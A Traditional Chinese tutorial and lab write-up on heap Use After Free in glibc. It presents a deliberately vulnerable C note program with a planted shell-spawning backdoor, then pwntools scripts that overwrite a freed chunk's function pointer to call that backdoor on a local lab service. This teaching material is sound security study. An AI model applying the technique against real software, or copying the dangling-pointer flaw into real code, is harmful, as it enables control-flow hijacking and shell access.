前言

在前面文章中,我們討論了 Glibc 的 mallocfree 流程,並介紹了一些相關的名詞。接下來,我們將探討與 Heap 相關的漏洞,而第一個要介紹的漏洞是 Use After Free

Use After Free

顧名思義,Use After Free 指的是使用已經被 free 掉的指標(pointer)。問題的根源在於 dangling pointer。當一個指標被 free 之後,如果沒有將其設為 NULL,就會產生 dangling pointer。

Use After Free 的利用方式會隨著使用的情境有所不同,可能導致:

  • 任意位置讀取或寫入
  • 間接影響程式的控制流程

此外,它也可能被用來 leak 記憶體中的殘值。同樣的,另一個常見的 Heap 漏洞——double free,也是因為 dangling pointer 的存在,導致多次 free 相同的記憶體區塊。這些漏洞都可以通過特定技巧加以利用。

Lab

查看以下原始碼:

  1#include<stdio.h>
  2#include<stdlib.h>
  3
  4struct Note{
  5    void (*printnote_content)();
  6    char *content;
  7};
  8
  9struct Note *noteList[10];
 10int noteCount = 0;
 11
 12void printnote_content(struct Note *this){
 13    printf("%s\n", this->content);
 14}
 15
 16void add_note(){
 17    int i,size;
 18    if(noteCount >= 10){
 19        printf("No more space for new note\n");
 20        return;
 21    }
 22    for(i=0; i < 10; i++){
 23        if(noteList[i] == NULL){
 24            noteList[i] = (struct Note *)malloc(sizeof(struct Note));
 25            if(noteList[i] == NULL){
 26                printf("Memory allocation failed\n");
 27                exit(1);
 28            }
 29            noteList[i]->printnote_content = printnote_content;
 30            printf("Enter the size of the note: ");
 31            scanf("%d", &size);
 32            noteList[i]->content = (char *)malloc(size);
 33            if(noteList[i]->content == NULL){
 34                printf("Memory allocation failed\n");
 35                exit(1);
 36            }
 37            printf("Enter the content of the note: ");
 38            read(0, noteList[i]->content, size);
 39            noteCount++;
 40            break;
 41        }
 42    }
 43}
 44
 45void delete_note(){
 46    int index;
 47    printf("Enter the index of the note: ");
 48    scanf("%d", &index);
 49    if(index < 0 || index >= noteCount){
 50        printf("Invalid index\n");
 51        exit(1);
 52    }
 53    if(noteList[index] != NULL){
 54        free(noteList[index]->content);
 55        free(noteList[index]);
 56        printf("Note deleted\n");
 57    }
 58}
 59
 60void print_note(){
 61    int index;
 62    printf("Enter the index of the note: ");
 63    scanf("%d", &index);
 64    if(index < 0 || index >= noteCount){
 65        printf("Invalid index\n");
 66        exit(1);
 67    }
 68    if(noteList[index] != NULL){
 69        noteList[index]->printnote_content(noteList[index]);
 70    }
 71}
 72
 73void backdoor(){
 74    system("/bin/sh");
 75}
 76
 77void menu(){
 78    printf("1. Add note\n");
 79    printf("2. Delete note\n");
 80    printf("3. Print note\n");
 81    printf("4. Exit\n");
 82    printf("Enter your choice: ");
 83}
 84
 85int main(){
 86    setvbuf(stdout, 0, 2, 0);
 87    setvbuf(stdin, 0, 2, 0);
 88    setvbuf(stderr, 0, 2, 0);
 89    while(1){
 90        menu();
 91        int choice;
 92        scanf("%d", &choice);
 93        switch(choice){
 94            case 1:
 95                add_note();
 96                break;
 97            case 2:
 98                delete_note();
 99                break;
100            case 3:
101                print_note();
102                break;
103            case 4:
104                exit(0);
105                break;
106            default:
107                printf("Invalid choice\n");
108                break;
109        }
110    }
111    return 0;
112}

使用以下指令進行編譯:

1gcc src/uaf.c -o ./uaf/share/uaf -no-pie -fstack-protector-all

writeup

這是一道典型的選單式 Heap 題目。程式碼量雖然較大,但功能很簡單,包括新增、刪除和輸出 Note。

  • 新增 Note
    • 先檢查 Note 是否已滿
    • 分配一個 Note 結構(包含 function pointer 和 content)
    • 將 function pointer 指向 printnote_content
    • 輸入 size 並分配對應大小的 content
    • 存入 content
  • 刪除 Note
    • 輸入要刪除的 Note index
    • 釋放對應的記憶體
  • 輸出 Note
    • 透過 function pointer 輸出 Note 的 content

漏洞出現在刪除 Note 的部分。刪除後沒有將指標設為 NULL,因此仍可對該位置進行操作。接下來,我們可以通過一個簡單的腳本來測試這個漏洞,在此之前,我們可以先將各個功能寫好,這樣會比較方便操作

 1from pwn import *
 2
 3r = process('../uaf/share/uaf')
 4# r = remote('127.0.0.1', 10012)
 5
 6def add(size, data):
 7    r.sendlineafter(': ', '1')
 8    r.sendlineafter(': ', str(size))
 9    r.sendlineafter(': ', data)
10
11def delete(idx):
12    r.sendlineafter(': ', '2')
13    r.sendlineafter(': ', str(idx))
14
15def print_(idx):
16    r.sendlineafter(': ', '3')
17    r.sendlineafter(': ', str(idx))

我們首先新增兩個 note,觀察它們在 Heap 上的狀態:

 1from pwn import *
 2
 3r = process('../uaf/share/uaf')
 4# r = remote('127.0.0.1', 10012)
 5
 6gdb.attach(r)
 7
 8def add(size, data):
 9    r.sendlineafter(': ', '1')
10    r.sendlineafter(': ', str(size))
11    r.sendlineafter(': ', data)
12
13def delete(idx):
14    r.sendlineafter(': ', '2')
15    r.sendlineafter(': ', str(idx))
16
17def print_(idx):
18    r.sendlineafter(': ', '3')
19    r.sendlineafter(': ', str(idx))
20
21add(0x20, 'aaaa') # 0
22add(0x20, 'bbbb') # 1
23r.interactive()

使用 heap 指令觀察記憶體分佈,會看到分配了大小、function pointer 和 data 等數據。

image

image

接下來,我們嘗試釋放這兩塊記憶體,並繼續觀察:

 1from pwn import *
 2
 3r = process('../uaf/share/uaf')
 4# r = remote('127.0.0.1', 10012)
 5
 6gdb.attach(r)
 7
 8def add(size, data):
 9    r.sendlineafter(': ', '1')
10    r.sendlineafter(': ', str(size))
11    r.sendlineafter(': ', data)
12
13def delete(idx):
14    r.sendlineafter(': ', '2')
15    r.sendlineafter(': ', str(idx))
16
17def print_(idx):
18    r.sendlineafter(': ', '3')
19    r.sendlineafter(': ', str(idx))
20
21add(0x20, 'aaaa') # 0
22add(0x20, 'bbbb') # 1
23delete(0)
24delete(1)
25r.interactive()

當空間被釋放後,可以觀察到該空間進入了 tcache bins。我們可以嘗試拿到 index 為 0 的 Note 的 function pointer 空間,進行測試:

image

此時我們使用簡單的 script 會發現可以覆蓋原本的 function pointer。如果我們再 print 這個 note 的 content,就能控制執行流程。

 1from pwn import *
 2
 3r = process('../uaf/share/uaf')
 4# r = remote('127.0.0.1', 10012)
 5
 6gdb.attach(r)
 7
 8def add(size, data):
 9    r.sendlineafter(': ', '1')
10    r.sendlineafter(': ', str(size))
11    r.sendlineafter(': ', data)
12
13def delete(idx):
14    r.sendlineafter(': ', '2')
15    r.sendlineafter(': ', str(idx))
16
17def print_(idx):
18    r.sendlineafter(': ', '3')
19    r.sendlineafter(': ', str(idx))
20
21add(0x20, 'aaaa') # 0
22add(0x20, 'bbbb') # 1
23delete(0)
24delete(1)
25add(0x10, 'ccccdddd')
26r.interactive()

查看狀況會發現確實蓋到了原本的 function pointer

image

此時如果去 print 那一塊 note 的 content 就會呼叫到此 function pointer,所以我們可以藉此控制執行流程

那程式中有一個後門函式,我們可以使用 objdump 來確認其位址,發現後門在 0x4015c8。我們可以將這個地址寫入 function pointer,並成功打開 shell。

image

所以我們將 address 填入,並且在 print 出內容,這樣就可以成功開啟 shell 了

完整 exploit:

 1from pwn import *
 2
 3# r = process('../uaf/share/uaf')
 4r = remote('127.0.0.1', 10012)
 5
 6def add(size, data):
 7    r.sendlineafter(': ', '1')
 8    r.sendlineafter(': ', str(size))
 9    r.sendlineafter(': ', data)
10
11def delete(idx):
12    r.sendlineafter(': ', '2')
13    r.sendlineafter(': ', str(idx))
14
15def print_(idx):
16    r.sendlineafter(': ', '3')
17    r.sendlineafter(': ', str(idx))
18
19backdoor = 0x00000000004015c8
20
21add(0x20, 'aaaa') # 0
22add(0x20, 'bbbb') # 1
23delete(0)
24delete(1)
25add(0x10, p64(backdoor))
26print_(0)
27r.interactive()

solved!!!

image

結論

Use After Free 是一種經典的漏洞,特別是在使用 Heap 分配記憶體的環境中。我們通過覆蓋 function pointer,成功控制程式的執行流程。這個案例說明了記憶體管理中的常見陷阱,以及如何利用這些漏洞進行攻擊。